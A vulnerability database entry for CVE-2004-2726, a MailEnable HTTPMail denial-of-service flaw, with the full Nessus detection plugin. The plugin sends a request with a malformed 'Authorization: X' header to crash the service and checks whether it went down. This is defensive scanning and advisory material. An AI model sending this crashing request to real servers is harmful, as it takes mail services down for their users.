Vulnerabilities > CVE-2004-2726 - Unspecified vulnerability in Mailenable 1.18

047910
CVSS 0.0 - NONE
Attack vector
UNKNOWN
Attack complexity
UNKNOWN
Privileges required
UNKNOWN
Confidentiality impact
UNKNOWN
Integrity impact
UNKNOWN
Availability impact
UNKNOWN
mailenable
nessus

Summary

HTTPMail service in MailEnable Professional 1.18 does not properly handle arguments to the Authorization header, which allows remote attackers to cause a denial of service (null dereference and application crash). NOTE: This is a different vulnerability than CVE-2005-1348.

Vulnerable Configurations

Part Description Count
Application
Mailenable
1

Nessus

NASL familyCGI abuses
NASL idMAILENABLE_HTTPMAIL_AUTHORIZATION_DOS.NASL
descriptionThe remote host is running an instance of MailEnable that has a flaw in the HTTPMail service (MEHTTPS.exe) in the Professional and Enterprise Editions. The flaw can be exploited by issuing an HTTP request with a malformed Authorization header, which causes a NULL pointer dereference error and crashes the HTTPMail service.
last seen2020-06-01
modified2020-06-02
plugin id14654
published2004-09-03
reporterThis script is Copyright (C) 2004-2018 George A. Theall
sourcehttps://www.tenable.com/plugins/nessus/14654
titleMailEnable HTTPMail Service Authorization Header Handling Remote DoS
code
#
# This script was written by George A. Theall, <[email protected]>.
#
# See the Nessus Scripts License for details.
#


include("compat.inc");

if (description)
{
  script_id(14654);
  script_version("1.15");
  script_set_attribute(attribute:"plugin_modification_date", value:"2020/06/12");

  script_cve_id("CVE-2004-2726");

  script_name(english:"MailEnable HTTPMail Service Authorization Header Handling Remote DoS");
  script_summary(english:"Checks for authorization header DoS vulnerability in MailEnable HTTPMail service");
 
  script_set_attribute(attribute:"synopsis", value:
"The remote web server is affected by a denial of service flaw." );
  script_set_attribute(attribute:"description", value:
"The remote host is running an instance of MailEnable that has a flaw
in the HTTPMail service (MEHTTPS.exe) in the Professional and
Enterprise Editions.  The flaw can be exploited by issuing an HTTP
request with a malformed Authorization header, which causes a NULL
pointer dereference error and crashes the HTTPMail service." );
  script_set_attribute(attribute:"see_also", value:"http://www.oliverkarow.de/research/MailWebHTTPAuthCrash.txt" );
  script_set_attribute(attribute:"see_also", value:"https://seclists.org/bugtraq/2004/May/172" );
  script_set_attribute(attribute:"solution", value:
"Upgrade to MailEnable Professional / Enterprise 1.19 or later." );
  script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:N/I:N/A:P");
  script_set_attribute(attribute:"plugin_publication_date", value: "2004/09/03");
  script_set_attribute(attribute:"patch_publication_date", value: "2004/05/16");
  script_set_attribute(attribute:"vuln_publication_date", value: "2004/05/11");
  script_set_attribute(attribute:"plugin_type", value:"remote");
  script_set_attribute(attribute:"cpe", value:"cpe:/a:mailenable:mailenable");
  script_end_attributes();

  script_category(ACT_DENIAL);
  script_copyright(english:"This script is Copyright (C) 2004-2020 George A. Theall");

  script_family(english:"CGI abuses");

  script_dependencies("http_version.nasl");
  script_require_ports("Services/www", 8080);

  exit(0);
}


include("global_settings.inc");
include("http_func.inc");
include("http_keepalive.inc");


port = get_http_port(default:8080, embedded:TRUE);
if (http_is_dead(port:port)) exit(0);


# Make sure banner's from MailEnable.
banner = get_http_banner(port:port);
if (banner && egrep(pattern:"^Server: .*MailEnable", string:banner)) {
  # Try to bring it down.
  req = string(
    "GET / HTTP/1.0\r\n",
    "Authorization: X\r\n",
    "\r\n"
  );
  debug_print("req='", req, "'.\n");
  res = http_keepalive_send_recv(port:port, data:req, bodyonly:TRUE);
  debug_print("res='", res, "'.\n");

  # There's a problem if the web server is down.
  if (isnull(res)) {
    if (http_is_dead(port:port)) security_warning(port);
  }
}